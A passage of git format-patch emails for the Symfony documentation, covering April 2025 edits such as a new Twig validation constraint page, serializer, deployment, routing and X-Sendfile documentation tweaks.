 .. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
+.. _`FrankenPHP`: https://frankenphp.dev

From ccd113706035d4d5c09342c2d8de207d138cf53c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Apr 2025 08:03:25 +0200
Subject: [PATCH 6897/7107] Minor tweak

---
 components/http_kernel.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index cf16de9fe61..91643086a18 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -497,8 +497,8 @@ as possible to the client (e.g. sending emails).
 .. warning::
 
     Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request`
-    PHP function. This means that at the moment, only the `PHP FPM`_ and `FrankenPHP`_ servers
-    API are able to send a response to the client while the server's PHP process
+    PHP function. This means that at the moment, only the `PHP FPM`_ API and the
+    `FrankenPHP`_ server are able to send a response to the client while the server's PHP process
     still performs some tasks. With all other server APIs, listeners to ``kernel.terminate``
     are still executed, but the response is not sent to the client until they
     are all completed.

From 344d8baac24247f9a0637bec61a2896e9404c43b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 10 Apr 2025 09:12:48 +0200
Subject: [PATCH 6898/7107] Reorganized the contents of the new constraint

---
 bridge/twig/validation.rst        |  63 ---------------
 index.rst                         |   1 -
 reference/constraints/Twig.rst    | 130 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 twig_bridge.rst                   |   9 ---
 5 files changed, 131 insertions(+), 73 deletions(-)
 delete mode 100644 bridge/twig/validation.rst
 create mode 100644 reference/constraints/Twig.rst
 delete mode 100644 twig_bridge.rst

diff --git a/bridge/twig/validation.rst b/bridge/twig/validation.rst
deleted file mode 100644
index e7b887f5588..00000000000
--- a/bridge/twig/validation.rst
+++ /dev/null
@@ -1,63 +0,0 @@
-Validating Twig Template Syntax
-===============================
-
-The Twig Bridge provides a custom `Twig` constraint that allows validating
-whether a given string contains valid Twig syntax.
-
-This is particularly useful when template content is user-generated or
-configurable, and you want to ensure it can be safely rendered by the Twig engine.
-
-Installation
-------------
-
-This constraint is part of the `symfony/twig-bridge` package. Make sure it's installed:
-
-.. code-block:: terminal
-
-    $ composer require symfony/twig-bridge
-
-Usage
------
-
-To use the `Twig` constraint, annotate the property that should contain a valid
-Twig template::
-
-    use Symfony\Bridge\Twig\Validator\Constraints\Twig;
-
-    class Template
-    {
-        #[Twig]
-        private string $templateCode;
-    }
-
-If the template contains a syntax error, a validation error will be thrown.
-
-Constraint Options
-------------------
-
-**message**
-Customize the default error message when the template is invalid::
-
-    // ...
-    class Template
-    {
-        #[Twig(message: 'Your template contains a syntax error.')]
-        private string $templateCode;
-    }
-
-**skipDeprecations**
-By default, this option is set to `true`, which means Twig deprecation warnings
-are ignored during validation.
-
-If you want validation to fail when deprecated features are used in the template,
-set this to `false`::
-
-    // ...
-    class Template
-    {
-        #[Twig(skipDeprecations: false)]
-        private string $templateCode;
-    }
-
-This can be helpful when enforcing stricter template rules or preparing for major
-Twig version upgrades.
diff --git a/index.rst b/index.rst
index 2bd09c8c0dc..c566e5f8671 100644
--- a/index.rst
+++ b/index.rst
@@ -60,7 +60,6 @@ Topics
     web_link
     webhook
     workflow
-    twig_bridge
 
 Components
 ----------
diff --git a/reference/constraints/Twig.rst b/reference/constraints/Twig.rst
new file mode 100644
index 00000000000..8435c191855
--- /dev/null
+++ b/reference/constraints/Twig.rst
@@ -0,0 +1,130 @@
+Twig Constraint
+===============
+
+.. versionadded:: 7.3
+
+    The ``Twig`` constraint was introduced in Symfony 7.3.
+
+Validates that a given string contains valid :ref:`Twig syntax <twig-language>`.
+This is particularly useful when template content is user-generated or
+configurable, and you want to ensure it can be rendered by the Twig engine.
+
+.. note::
+
+    Using this constraint requires having the ``symfony/twig-bridge`` package
+    installed in your application (e.g. by running ``composer require symfony/twig-bridge``).
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Bridge\\Twig\\Validator\\Constraints\\Twig`
+Validator   :class:`Symfony\\Bridge\\Twig\\Validator\\Constraints\\TwigValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+Apply the ``Twig`` constraint to validate the contents of any property or the
+returned value of any method:
+
+    use Symfony\Bridge\Twig\Validator\Constraints\Twig;
+
+    class Template
+    {
+        #[Twig]
+        private string $templateCode;
+    }
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Page.php
+        namespace App\Entity;
+
+        use Symfony\Bridge\Twig\Validator\Constraints\Twig;
+
+        class Page
+        {
+            #[Twig]
+            private string $templateCode;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Page:
+            properties:
+                templateCode:
+                    - Symfony\Bridge\Twig\Validator\Constraints\Twig: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Page">
+                <property name="templateCode">
+                    <constraint name="Symfony\Bridge\Twig\Validator\Constraints\Twig"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Page.php
+        namespace App\Entity;
+
+        use Symfony\Bridge\Twig\Validator\Constraints\Twig;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Page
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('templateCode', new Twig());
+            }
+        }
+
+Constraint Options
+------------------
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``message`` **default**: ``This value is not a valid Twig template.``
+
+This is the message displayed when the given string does *not* contain valid Twig syntax::
+
+    // ...
+
+    class Page
+    {
+        #[Twig(message: 'Check this Twig code; it contains errors.')]
+        private string $templateCode;
+    }
+
+This message has no parameters.
+
+``skipDeprecations``
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+If ``true``, Twig deprecation warnings are ignored during validation. Set it to
+``false`` to trigger validation errors when the given Twig code contains any deprecations::
+
+    // ...
+
+    class Page
+    {
+        #[Twig(skipDeprecations: false)]
+        private string $templateCode;
+    }
+
+This can be helpful when enforcing stricter template rules or preparing for major
+Twig version upgrades.
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 58801a8c653..c2396ae3af7 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -34,6 +34,7 @@ String Constraints
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`Regex </reference/constraints/Regex>`
 * :doc:`Slug </reference/constraints/Slug>`
+* :doc:`Twig </reference/constraints/Twig>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
diff --git a/twig_bridge.rst b/twig_bridge.rst
deleted file mode 100644
index bb7d84f7e9a..00000000000
--- a/twig_bridge.rst
+++ /dev/null
@@ -1,9 +0,0 @@
-Twig Bridge
-===========
-
-This bridge integrates Symfony with the Twig templating engine.
-
-.. toctree::
-   :maxdepth: 1
-
-   bridge/twig/validation

From b5f3bf13ed6858bb79901593bac9b3571ad53388 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Fri, 11 Apr 2025 14:43:37 +0200
Subject: [PATCH 6899/7107] Update end_to_end.rst

---
 testing/end_to_end.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index bb4a316f347..83d61b1e60f 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -26,7 +26,7 @@ to install the needed dependencies:
 
 .. code-block:: terminal
 
-    $ composer require symfony/panther
+    $ composer require --dev symfony/panther
 
 .. include:: /components/require_autoload.rst.inc
 

From ce286296c47b9d53358a75df75f3f267b0286a75 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Thu, 10 Apr 2025 19:43:53 +0200
Subject: [PATCH 6900/7107] [Serializer] (re)document PRESERVE_EMPTY_OBJECTS

---
 serializer.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 6e20a651341..b7deb6f5bff 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1571,6 +1571,13 @@ to ``true``::
     ]);
     // $jsonContent contains {"name":"Jane Doe"}
 
+Preserving Empty Objetcs
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, the Serializer will transform an empty array to `[]`.
+You can change this behavior by setting the ``AbstractObjectNormalizer::PRESERVE_EMPTY_OBJECTS`` context option
+to ``true``, when the value is `\ArrayObject()` the serialization would be `{}`.
+
 Handling Uninitialized Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From e384239df47030f05c3547139678c37218400ab2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Apr 2025 10:40:54 +0200
Subject: [PATCH 6901/7107] Tweaks

---
 serializer.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index b7deb6f5bff..440494d0be1 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1571,12 +1571,13 @@ to ``true``::
     ]);
     // $jsonContent contains {"name":"Jane Doe"}
 
-Preserving Empty Objetcs
+Preserving Empty Objects
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-By default, the Serializer will transform an empty array to `[]`.
-You can change this behavior by setting the ``AbstractObjectNormalizer::PRESERVE_EMPTY_OBJECTS`` context option
-to ``true``, when the value is `\ArrayObject()` the serialization would be `{}`.
+By default, the Serializer transforms an empty array to ``[]``. You can change
+this behavior by setting the ``AbstractObjectNormalizer::PRESERVE_EMPTY_OBJECTS``
+context option to ``true``. When the value is an instance of ``\ArrayObject()``,
+the serialized data will be ``{}``.
 
 Handling Uninitialized Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 3a572358ae6cfafa90748178292a6e24c9ab9321 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Apr 2025 10:59:37 +0200
Subject: [PATCH 6902/7107] Update the build script to mention that it does not
 support Windows

---
 _build/build.php | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/_build/build.php b/_build/build.php
index 454553d459e..b80d8e0e51e 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -15,6 +15,13 @@
     ->addOption('generate-fjson-files', null, InputOption::VALUE_NONE, 'Use this option to generate docs both in HTML and JSON formats')
     ->addOption('disable-cache', null, InputOption::VALUE_NONE, 'Use this option to force a full regeneration of all doc contents')
     ->setCode(function(InputInterface $input, OutputInterface $output) {
+        // the doc building app doesn't work on Windows
+        if ('\\' === DIRECTORY_SEPARATOR) {
+            $output->writeln('<error>ERROR: The application that builds Symfony Docs does not support Windows. You can try using a Linux distribution via WSL (Windows Subsystem for Linux).</error>');
+
+            return 1;
+        }
+
         $io = new SymfonyStyle($input, $output);
         $io->text('Building all Symfony Docs...');
 

From 5ca3039e8bf1344368e098a83ac47749aeff7748 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mat=C4=9Bj=20Hump=C3=A1l?= <finwe@users.noreply.github.com>
Date: Mon, 14 Apr 2025 12:04:35 +0200
Subject: [PATCH 6903/7107] Specify explicitly what a priority of message
 handlers mean

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 484a5cbdaff..f504a470336 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2468,7 +2468,7 @@ Possible options to configure with tags are:
     Name of the method that will process the message.
 
 ``priority``
-    Priority of the handler when multiple handlers can process the same message.
+    Priority of the handler when multiple handlers can process the same message; higher values will be processed first.
 
 .. _handler-subscriber-options:
 

From cb186580124e06ed65024404856642ffb29ab1f9 Mon Sep 17 00:00:00 2001
From: jdevinemt <65512359+jdevinemt@users.noreply.github.com>
Date: Thu, 20 Mar 2025 17:07:39 -0600
Subject: [PATCH 6904/7107] [Deployment] - More accurate local .env file
 recommendation

---
 deployment.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 864ebc7a963..87e88f10ff8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -134,14 +134,13 @@ B) Configure your Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Most Symfony applications read their configuration from environment variables.
-While developing locally, you'll usually store these in ``.env`` and ``.env.local``
-(for local overrides). On production, you have two options:
+While developing locally, you'll usually store these in :ref:`.env files <configuration-env-var-in-dev>`. On production, you have two options:
 
 1. Create "real" environment variables. How you set environment variables, depends
    on your setup: they can be set at the command line, in your Nginx configuration,
    or via other methods provided by your hosting service;
 
-2. Or, create a ``.env.local`` file like your local development.
+2. Or, create a ``.env.prod.local`` file containing values specific to your production environment.
 
 There is no significant advantage to either of the two options: use whatever is
 most natural in your hosting environment.

From 059ecfa24b88db20e962a8e6a4cee88244de65ec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Apr 2025 17:42:27 +0200
Subject: [PATCH 6905/7107] Minor tweaks

---
 deployment.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 87e88f10ff8..07187f53cba 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -134,16 +134,18 @@ B) Configure your Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Most Symfony applications read their configuration from environment variables.
-While developing locally, you'll usually store these in :ref:`.env files <configuration-env-var-in-dev>`. On production, you have two options:
+While developing locally, you'll usually store these in :ref:`.env files <configuration-env-var-in-dev>`.
+On production, you have two options:
 
 1. Create "real" environment variables. How you set environment variables, depends
    on your setup: they can be set at the command line, in your Nginx configuration,
    or via other methods provided by your hosting service;
 
-2. Or, create a ``.env.prod.local`` file containing values specific to your production environment.
+2. Or, create a ``.env.prod.local`` file that contains values specific to your
+   production environment.
 
-There is no significant advantage to either of the two options: use whatever is
-most natural in your hosting environment.
+There is no significant advantage to either option: use whichever is most natural
+for your hosting environment.
 
 .. tip::
 

From 0ce5ffbbbd24e0230e7ec527b372958e0cb53e7e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Mon, 14 Apr 2025 17:23:22 +0200
Subject: [PATCH 6906/7107] [HttpFoundation] Add FrankenPHP docs for X-Sendfile

---
 components/http_foundation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 9a4f0b61516..5a0c24ef618 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -854,7 +854,7 @@ Alternatively, if you are serving a static file, you can use a
 
 The ``BinaryFileResponse`` will automatically handle ``Range`` and
 ``If-Range`` headers from the request. It also supports ``X-Sendfile``
-(see for `nginx`_ and `Apache`_). To make use of it, you need to determine
+(see for `FrankenPHP`_, `nginx`_ and `Apache`_). To make use of it, you need to determine
 whether or not the ``X-Sendfile-Type`` header should be trusted and call
 :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader`
 if it should::
@@ -1061,6 +1061,7 @@ Learn More
     /session
     /http_cache/*
 
+.. _FrankenPHP: https://frankenphp.dev/docs/x-sendfile/
 .. _nginx: https://mattbrictson.com/blog/accelerated-rails-downloads
 .. _Apache: https://tn123.org/mod_xsendfile/
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/

From afc84e2242147e1c7137a4d380b9e0736d86626c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Apr 2025 17:58:24 +0200
Subject: [PATCH 6907/7107] Update the links related to X-Sendfile and
 X-Accel-Redirect

---
 components/http_foundation.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 5a0c24ef618..14843bab346 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -854,9 +854,10 @@ Alternatively, if you are serving a static file, you can use a
 
 The ``BinaryFileResponse`` will automatically handle ``Range`` and
 ``If-Range`` headers from the request. It also supports ``X-Sendfile``
-(see for `FrankenPHP`_, `nginx`_ and `Apache`_). To make use of it, you need to determine
-whether or not the ``X-Sendfile-Type`` header should be trusted and call
-:method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader`
+(see `FrankenPHP X-Sendfile and X-Accel-Redirect headers`_,
+`nginx X-Accel-Redirect header`_ and `Apache mod_xsendfile module`_). To make use
+of it, you need to determine whether or not the ``X-Sendfile-Type`` header should
+be trusted and call :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader`
 if it should::
 
     BinaryFileResponse::trustXSendfileTypeHeader();
@@ -1061,9 +1062,9 @@ Learn More
     /session
     /http_cache/*
 
-.. _FrankenPHP: https://frankenphp.dev/docs/x-sendfile/
-.. _nginx: https://mattbrictson.com/blog/accelerated-rails-downloads
-.. _Apache: https://tn123.org/mod_xsendfile/
+.. _`FrankenPHP X-Sendfile and X-Accel-Redirect headers`: https://frankenphp.dev/docs/x-sendfile/
+.. _`nginx X-Accel-Redirect header`: https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_ignore_headers
+.. _`Apache mod_xsendfile module`: https://github.com/nmaier/mod_xsendfile
 .. _`JSON Hijacking`: https://haacked.com/archive/2009/06/25/json-hijacking.aspx/
 .. _`valid JSON top-level value`: https://www.json.org/json-en.html
 .. _OWASP guidelines: https://cheatsheetseries.owasp.org/cheatsheets/AJAX_Security_Cheat_Sheet.html#always-return-json-with-an-object-on-the-outside

From a8a4523bcdfd889b2f9afee9342a655a879e090c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Apr 2025 17:18:46 +0200
Subject: [PATCH 6908/7107] Fix a syntax issue in Coding Standards

---
 contributing/code/standards.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 3a00343faf1..ebfde7dfab4 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -211,7 +211,7 @@ Naming Conventions
 * Use `camelCase`_ for PHP variables, function and method names, arguments
   (e.g. ``$acceptableContentTypes``, ``hasSession()``);
 
-Use `snake_case`_ for configuration parameters, route names and Twig template
+* Use `snake_case`_ for configuration parameters, route names and Twig template
   variables (e.g. ``framework.csrf_protection``, ``http_status_code``);
 
 * Use SCREAMING_SNAKE_CASE for constants (e.g. ``InputArgument::IS_ARRAY``);

From 4f50290a46361fdf8907ecfa53beb8c6864330d8 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 15 Apr 2025 11:33:07 +0200
Subject: [PATCH 6909/7107] feat: swap from event constant to event class

---
 event_dispatcher.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 7372d58b8d0..b854488de52 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -246,14 +246,13 @@ methods could be called before or after the methods defined in other listeners
 and subscribers. To learn more about event subscribers, read :doc:`/components/event_dispatcher`.
 
 The following example shows an event subscriber that defines several methods which
-listen to the same ``kernel.exception`` event::
+listen to the same ``kernel.exception`` event which has an ``ExceptionEvent``::
 
     // src/EventSubscriber/ExceptionSubscriber.php
     namespace App\EventSubscriber;
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\HttpKernel\Event\ExceptionEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
 
     class ExceptionSubscriber implements EventSubscriberInterface
     {
@@ -261,7 +260,7 @@ listen to the same ``kernel.exception`` event::
         {
             // return the subscribed events, their methods and priorities
             return [
-                KernelEvents::EXCEPTION => [
+                ExceptionEvent::class => [
                     ['processException', 10],
                     ['logException', 0],
                     ['notifyException', -10],

From a6e0879c81c9009fcd376a144c0f97702b60213f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Apr 2025 17:36:40 +0200
Subject: [PATCH 6910/7107] Minor tweak

---
 event_dispatcher.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index b854488de52..8e5c3d092e0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -246,7 +246,8 @@ methods could be called before or after the methods defined in other listeners
 and subscribers. To learn more about event subscribers, read :doc:`/components/event_dispatcher`.
 
 The following example shows an event subscriber that defines several methods which
-listen to the same ``kernel.exception`` event which has an ``ExceptionEvent``::
+listen to the same :ref:`kernel.exception event <component-http-kernel-kernel-exception>`_
+via its ``ExceptionEvent`` class::
 
     // src/EventSubscriber/ExceptionSubscriber.php
     namespace App\EventSubscriber;

From 90def249610950e1811cd70d5bc1a94caf09ad15 Mon Sep 17 00:00:00 2001
From: Ousmane NDIAYE <ousmane.ndia@gmail.com>
Date: Tue, 15 Apr 2025 16:47:27 +0200
Subject: [PATCH 6911/7107] Update embedded.rst

Comment added to specify the name of the fil to edit. (As previous examples)
---
 form/embedded.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/form/embedded.rst b/form/embedded.rst
index dd163235f03..9e20164c3a4 100644
--- a/form/embedded.rst
+++ b/form/embedded.rst
@@ -87,6 +87,7 @@ inside the task form itself. To accomplish this, add a ``category`` field
 to the ``TaskType`` object whose type is an instance of the new ``CategoryType``
 class::
 
+    // src/Form/TaskType.php
     use App\Form\CategoryType;
     use Symfony\Component\Form\FormBuilderInterface;
 

From 89ff8f3485003be9c8c2f774a7acb588f7d192aa Mon Sep 17 00:00:00 2001
From: Bastien Jaillot <bjaillot@jolicode.com>
Date: Wed, 16 Apr 2025 12:20:24 +0200
Subject: [PATCH 6912/7107] Update routing.rst

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 79a513ba8dd..f34205de98e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2715,7 +2715,7 @@ same URL, but with the HTTPS scheme.
 
 If you want to force a group of routes to use HTTPS, you can define the default
 scheme when importing them. The following example forces HTTPS on all routes
-defined as annotations:
+defined as attributes:
 
 .. configuration-block::
 

From 32aec360f5fce14a1f7b680b8e5695a36cbad263 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Apr 2025 17:43:23 +0200
Subject: [PATCH 6913/7107] [EventDispatcher] Fix a minor syntax issue in a
 reference

---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 8e5c3d092e0..d9b913ed49f 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -246,7 +246,7 @@ methods could be called before or after the methods defined in other listeners
 and subscribers. To learn more about event subscribers, read :doc:`/components/event_dispatcher`.
 
 The following example shows an event subscriber that defines several methods which
-listen to the same :ref:`kernel.exception event <component-http-kernel-kernel-exception>`_
+listen to the same :ref:`kernel.exception event <component-http-kernel-kernel-exception>`
 via its ``ExceptionEvent`` class::
 
     // src/EventSubscriber/ExceptionSubscriber.php

From 7fc2bc7c4c2268e5f27acbc7954497a859c96a3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Apr 2025 16:22:47 +0200
Subject: [PATCH 6914/7107] [Console] Minor tweak in the article introduction

---
 console.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/console.rst b/console.rst
index baab4aff4a7..82bafd4d640 100644
--- a/console.rst
+++ b/console.rst
@@ -18,14 +18,14 @@ the ``list`` command to view all available commands in the application:
     ...
 
     Available commands:
-      about                                      Display information about the current project
-      completion                                 Dump the shell completion script
-      help                                       Display help for a command
-      list                                       List commands
+      about             Display information about the current project
+      completion        Dump the shell completion script
+      help              Display help for a command
+      list              List commands
      assets
-      assets:install                             Install bundle's web assets under a public directory
+      assets:install    Install bundle's web assets under a public directory
      cache
-      cache:clear                                Clear the cache
+      cache:clear       Clear the cache
     ...
 
 .. note::

From c4cf202b2614a726be6694161b6eec7aba253588 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Thu, 17 Apr 2025 08:34:15 +0200
Subject: [PATCH 6915/7107] fix configuration block indentation

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 6ae601cf724..6086ae1d946 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -226,7 +226,7 @@ each time you ask for it.
     If some files or directories in your project should not become services, you
     can exclude them using the ``exclude`` option:
 
-        .. configuration-block::
+    .. configuration-block::
 
         .. code-block:: yaml
 

From fa8f5b191bf11cd1c8e29f56fea743855d597e54 Mon Sep 17 00:00:00 2001
From: Alexander Hofbauer <a.hofbauer@fify.at>
Date: Thu, 17 Apr 2025 09:15:22 +0200
Subject: [PATCH 6916/7107] [Mailer] Document email.image name parameter

---
 mailer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index a6b5eb819d8..034f9bdfe97 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1093,6 +1093,14 @@ the email contents:
     <h1>Welcome {{ email.toName }}!</h1>
     {# ... #}
 
+By default this will create an attachment using the file path as filename:
+``Content-Disposition: inline; name="cid..."; filename="@images/logo.png"``.
+This behavior can be overridden by passing a name (the third argument):
+
+.. code-block:: html+twig
+
+    <img src="{{ email.image('@images/logo.png', name: 'my-logo.png') }}" alt="My Logo">
+
 .. _mailer-inline-css:
 
 Inlining CSS Styles

From 316c8ac333d822e1b5d68aa8bdbc25f8923c453c Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Thu, 17 Apr 2025 16:39:24 +0200
Subject: [PATCH 6917/7107] Add when argument to AsAlias

---
 service_container/alias_private.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index f99f7cb5f3e..84632c1d89b 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -181,6 +181,27 @@ This means that when using the container directly, you can access the
             # ...
             app.mailer: '@App\Mail\PhpMailer'
 
+The ``#[AsAlias]`` attribute also support per-environment configuration
+via the ``when`` argument::
+
+    // src/Mail/PhpMailer.php
+    namespace App\Mail;
+
+    // ...
+    use Symfony\Component\DependencyInjection\Attribute\AsAlias;
+
+    #[AsAlias(id: 'app.mailer', when: 'dev')]
+    class PhpMailer
+    {
+        // ...
+    }
+
+You can pass either a string or an array of strings to the ``when`` argument.
+
+.. versionadded:: 7.3
+
+    The ``when`` argument on the ``#[AsAlias]`` attribute was introduced in Symfony 7.3.
+
 .. tip::
 
     When using ``#[AsAlias]`` attribute, you may omit passing ``id`` argument

From 5482c8281ad9bf346362e06f7988e83dd4282c6a Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Thu, 17 Apr 2025 20:14:01 -0400
Subject: [PATCH 6918/7107] [Routing] add tip about using `symfony/clock` with
 `UriSigner`

---
 routing.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/routing.rst b/routing.rst
index a9ada1fc44b..0e1a46a505b 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2815,6 +2815,16 @@ argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
     Starting with Symfony 7.3, signed URI hashes no longer include the ``/`` or
     ``+`` characters, as these may cause issues with certain clients.
 
+.. tip::
+
+    If ``symfony/clock`` is installed, it is used for creating and verifying the
+    expiration. This allows you to :ref:`mock the current time in your tests
+    <clock_writing-tests>`.
+
+.. versionadded:: 7.3
+
+    ``symfony/clock`` support was added to ``UriSigner`` in Symfony 7.3.
+
 Troubleshooting
 ---------------
 

From aa3b1674ea0202c0d3966ee82f04836fe33479ec Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 18 Apr 2025 19:34:27 -0400
Subject: [PATCH 6919/7107] [Routing] document `UriSigner::verify()`

---
 routing.rst | 24 ++++++++++++++++++++++--
 1 file changed, 22 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index a9ada1fc44b..19c2ae1a5a6 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2810,10 +2810,30 @@ argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     The feature to add an expiration date for a signed URI was introduced in Symfony 7.1.
 
